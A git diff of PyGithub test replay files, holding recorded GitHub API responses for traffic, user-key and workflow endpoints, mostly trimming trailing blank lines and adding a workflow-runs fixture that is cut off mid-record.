946bf0fd66..6352084f95 100644 --- a/tests/ReplayData/Traffic.testGetClones.txt +++ b/tests/ReplayData/Traffic.testGetClones.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 17:25:20 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4988'), ('X-RateLimit-Reset', '1543775101'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"99f62fd904c91505ef4f1f8b89d22c08"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F408:56B2:D8A13F:1E6EC1B:5C041580')] {"count":4,"uniques":4,"clones":[{"timestamp":"2018-11-27T00:00:00Z","count":4,"uniques":4}]} - diff --git a/tests/ReplayData/Traffic.testGetPaths.txt b/tests/ReplayData/Traffic.testGetPaths.txt index ed14320fe3..267002f6ac 100644 --- a/tests/ReplayData/Traffic.testGetPaths.txt +++ b/tests/ReplayData/Traffic.testGetPaths.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 18:37:44 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4994'), ('X-RateLimit-Reset', '1543779296'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"b886e79ff0cee5a1b67a5efa00b3ca0f"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F7B9:56B2:DB4511:1ECCC1B:5C042678')] [{"path":"/jkufro/PyGithub","title":"jkufro/PyGithub: Typed interactions with the GitHub API v3","count":23,"uniques":4},{"path":"/jkufro/PyGithub/tree/traffic_endpoints","title":"jkufro/PyGithub at traffic_endpoints","count":13,"uniques":4},{"path":"/jkufro/PyGithub/blob/master/github/Repository.py","title":"PyGithub/Repository.py at master jkufro/PyGithub","count":6,"uniques":3},{"path":"/jkufro/PyGithub/branches","title":"Branches jkufro/PyGithub","count":6,"uniques":1},{"path":"/jkufro/PyGithub/commits/traffic_endpoints","title":"Commits jkufro/PyGithub","count":4,"uniques":2},{"path":"/jkufro/PyGithub/tree/traffic_endpoints/github","title":"PyGithub/github at traffic_endpoints jkufro/PyGithub","count":4,"uniques":2},{"path":"/jkufro/PyGithub/commit/f309070d99a58336a577bf7c88c49773fe3f16a2","title":"better pep8 compliance and delted unused Traffic.py file jkufro/PyGithub@f3...","count":3,"uniques":2},{"path":"/jkufro/PyGithub/commits","title":"Commits jkufro/PyGithub","count":3,"uniques":1},{"path":"/jkufro/PyGithub/commit/1fd7e391735715ad7f752e230a45eba891927e64","title":"made placeholder classes jkufro/PyGithub@1fd7e39","count":2,"uniques":1},{"path":"/jkufro/PyGithub/commit/5296fb83e0a8ab3fdcbc1b7a3a28beae4f8f38bb","title":"clone and view class jkufro/PyGithub@5296fb8","count":2,"uniques":1}] - diff --git a/tests/ReplayData/Traffic.testGetReferrers.txt b/tests/ReplayData/Traffic.testGetReferrers.txt index 4365a83e60..e25a5f3013 100644 --- a/tests/ReplayData/Traffic.testGetReferrers.txt +++ b/tests/ReplayData/Traffic.testGetReferrers.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 17:25:02 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1543775101'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"033913cf8de0341149e2639c12d7a240"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F3F4:56B2:D89E29:1E6E41C:5C04156D')] [{"referrer":"github.com","count":5,"uniques":1}] - diff --git a/tests/ReplayData/Traffic.testGetViews.txt b/tests/ReplayData/Traffic.testGetViews.txt index 65a672564c..0ec1476cb0 100644 --- a/tests/ReplayData/Traffic.testGetViews.txt +++ b/tests/ReplayData/Traffic.testGetViews.txt @@ -8,4 +8,3 @@ None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 02 Dec 2018 17:25:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1543775101'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"47961c20927a4d019bc73ee47bd8fe79"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F402:56B3:75FF23:12D1E43:5C04157B')] {"count":93,"uniques":4,"views":[{"timestamp":"2018-11-27T00:00:00Z","count":56,"uniques":4},{"timestamp":"2018-11-28T00:00:00Z","count":6,"uniques":2},{"timestamp":"2018-11-30T00:00:00Z","count":18,"uniques":1},{"timestamp":"2018-12-01T00:00:00Z","count":4,"uniques":1},{"timestamp":"2018-12-02T00:00:00Z","count":9,"uniques":3}]} - diff --git a/tests/ReplayData/UserKey.setUp.txt b/tests/ReplayData/UserKey.setUp.txt index c4ef7ba042..7a6fbd61da 100644 --- a/tests/ReplayData/UserKey.setUp.txt +++ b/tests/ReplayData/UserKey.setUp.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4983'), ('content-length', '505'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7261ec55c886d6bf42e48d5bf9544586"'), ('date', 'Sat, 26 May 2012 19:53:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"url":"https://api.github.com/user/keys/2626650","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2Mm0RjTNAYFfSCtUpO54usdseroUSIYg5KX4JoseTpqyiB/hqewjYLAdUq/tNIQzrkoEJWSyZrQt0ma7/YCyMYuNGd3DU6q6ZAyBeY3E9RyCiKjO3aTL2VKQGFvBVVmGdxGVSCITRphAcsKc/PF35/fg9XP9S0anMXcEFtdfMHz41SSw+XtE+Vc+6cX9FuI5qUfLGbkv8L1v3g4uw9VXlzq4GfTA+1S7D6mcoGHopAIXFlVr+2RfDKdSURMcB22z41fljO1MW4+zUS/4FyUTpL991es5fcwKXYoiE+x06VJeJJ1Krwx+DZj45uweV6cHXt2JwJEI9fWB6WyBlDejWw==","verified":true,"title":"Key added through PyGithub","id":2626650} - diff --git a/tests/ReplayData/UserKey.testDelete.txt b/tests/ReplayData/UserKey.testDelete.txt index bea02385c0..7d94a90fd9 100644 --- a/tests/ReplayData/UserKey.testDelete.txt +++ b/tests/ReplayData/UserKey.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4977'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 26 May 2012 19:58:16 GMT')] - - diff --git a/tests/ReplayData/Workflow.setUp.txt b/tests/ReplayData/Workflow.setUp.txt index f4c4ea0d72..ccafb36081 100644 --- a/tests/ReplayData/Workflow.setUp.txt +++ b/tests/ReplayData/Workflow.setUp.txt @@ -19,4 +19,3 @@ None 200 [('Date', 'Thu, 30 Apr 2020 11:50:13 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '58'), ('X-RateLimit-Reset', '1588251013'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fed4afd3988c2fccd5909e64fb06dfc4"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AAA8:1E7E:2D8AA:34416:5EAABB75')] {"id":1026390,"node_id":"MDg6V29ya2Zsb3cxMDI2Mzkw","name":"check","path":".github/workflows/check.yml","state":"active","created_at":"2020-04-15T00:48:32.000Z","updated_at":"2020-04-15T00:48:32.000Z","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1026390","html_url":"https://github.com/PyGithub/PyGithub/blob/master/.github/workflows/check.yml","badge_url":"https://github.com/PyGithub/PyGithub/workflows/check/badge.svg"} - diff --git a/tests/ReplayData/Workflow.testCreateDispatchForNonTriggerEnabled.txt b/tests/ReplayData/Workflow.testCreateDispatchForNonTriggerEnabled.txt index c77f7d2461..8b94da0a82 100644 --- a/tests/ReplayData/Workflow.testCreateDispatchForNonTriggerEnabled.txt +++ b/tests/ReplayData/Workflow.testCreateDispatchForNonTriggerEnabled.txt @@ -30,4 +30,3 @@ None 422 [('Date', 'Mon, 27 Jul 2020 22:31:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '170'), ('Server', 'GitHub.com'), ('Status', '422 Unprocessable Entity'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1595892673'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '81C8:8081:E5D691:1149367:5F1F55B2')] {"message":"Workflow does not have 'workflow_dispatch' trigger","documentation_url":"https://developer.github.com/v3/actions/workflows/#create-a-workflow-dispatch-event"} - diff --git a/tests/ReplayData/Workflow.testCreateDispatchWithBranch.txt b/tests/ReplayData/Workflow.testCreateDispatchWithBranch.txt index 9aecbf88e1..769e045f7f 100644 --- a/tests/ReplayData/Workflow.testCreateDispatchWithBranch.txt +++ b/tests/ReplayData/Workflow.testCreateDispatchWithBranch.txt @@ -51,5 +51,3 @@ None {"ref": "workflow_dispatch_branch", "inputs": {"logLevel": "Warning", "message": "Log Message"}} 204 [('Date', 'Mon, 27 Jul 2020 11:24:50 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1595851785'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '8988:6C55:197E65:212D4C:5F1EB982')] - - diff --git a/tests/ReplayData/Workflow.testCreateDispatchWithString.txt b/tests/ReplayData/Workflow.testCreateDispatchWithString.txt index 2e7bc88bc9..bdf5227c0d 100644 --- a/tests/ReplayData/Workflow.testCreateDispatchWithString.txt +++ b/tests/ReplayData/Workflow.testCreateDispatchWithString.txt @@ -29,5 +29,3 @@ None {"ref": "main", "inputs": {"logLevel": "Warning", "message": "Log Message"}} 204 [('Date', 'Sun, 26 Jul 2020 23:53:19 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4944'), ('X-RateLimit-Reset', '1595810654'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', 'E616:592F:981DD7:B83844:5F1E176E')] - - diff --git a/tests/ReplayData/Workflow.testCreateDispatchWithTag.txt b/tests/ReplayData/Workflow.testCreateDispatchWithTag.txt index 6554c1f08b..8ce23eb510 100644 --- a/tests/ReplayData/Workflow.testCreateDispatchWithTag.txt +++ b/tests/ReplayData/Workflow.testCreateDispatchWithTag.txt @@ -73,5 +73,3 @@ None {"ref": "workflow_dispatch_tag", "inputs": {"logLevel": "Warning", "message": "Log Message"}} 204 [('Date', 'Mon, 27 Jul 2020 23:42:16 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1595896933'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '8F1E:095E:3AD54D:4762F5:5F1F6658')] - - diff --git a/tests/ReplayData/Workflow.testGetRunsWithHeadSha.txt b/tests/ReplayData/Workflow.testGetRunsWithHeadSha.txt new file mode 100644 index 0000000000..3227c5f774 --- /dev/null +++ b/tests/ReplayData/Workflow.testGetRunsWithHeadSha.txt @@ -0,0 +1,10 @@ +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/actions/workflows/1026390/runs?head_sha=3a6235b56eecc0e193c1e267b064c155c6ebc022 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Mon, 31 Oct 2022 15:21:04 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"cf18c178032bf666defcb2b80301e3802f88e1fd2ff4fbab12cdbb4c9544861c"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '53'), ('X-RateLimit-Reset', '1667233078'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AC5C:EE0F:F1A2470:F5264AF:635FE7E0')] +{"total_count":1,"workflow_runs":[{"id":3349872717,"name":"CI","node_id":"WFR_kwLOADYVqs7HqwBN","head_branch":"master","head_sha":"3a6235b56eecc0e193c1e267b064c155c6ebc022","path":".github/workflows/ci.yml","display_title":"[WorkflowRun] - Add missing attributes (`run_started_at` & `run_attem…","run_number":837,"event":"push","status":"completed","conclusion":"success","workflow_id":1903133,"check_suite_id":9023753714,"check_suite_node_id":"CS_kwDOADYVqs8AAAACGduN8g","url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717","html_url":"https://github.com/PyGithub/PyGithub/actions/runs/3349872717","pull_requests":[],"created_at":"2022-10-29T03:26:27Z","updated_at":"2022-10-29T03:29:02Z","actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-10-29T03:26:27Z","triggering_actor":{"login":"sfdye","id":1016390,"node_id":"MDQ6VXNlcjEwMTYzOTA=","avatar_url":"https://avatars.githubusercontent.com/u/1016390?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/jobs","logs_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/logs","check_suite_url":"https://api.github.com/repos/PyGithub/PyGithub/check-suites/9023753714","artifacts_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/artifacts","cancel_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/cancel","rerun_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/runs/3349872717/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/PyGithub/PyGithub/actions/workflows/1903133","head_commit":{"id":"3a6235b56eecc0e193c1e267b064c155c6ebc022","tree_id":"550d852f1fbc9ce0a31e32801e48bef08cba1da2","message":"[WorkflowRun] - Add missing attributes (`run_started_at` & `run_attempt`), remove deprecated `unicode` type (#2273)","timestamp":"2022-10-29T03:26:24Z","author":{"name":"Gabriele Oliaro","email":"ict@gabrieleoliaro.it"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments"},"head_repository":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API 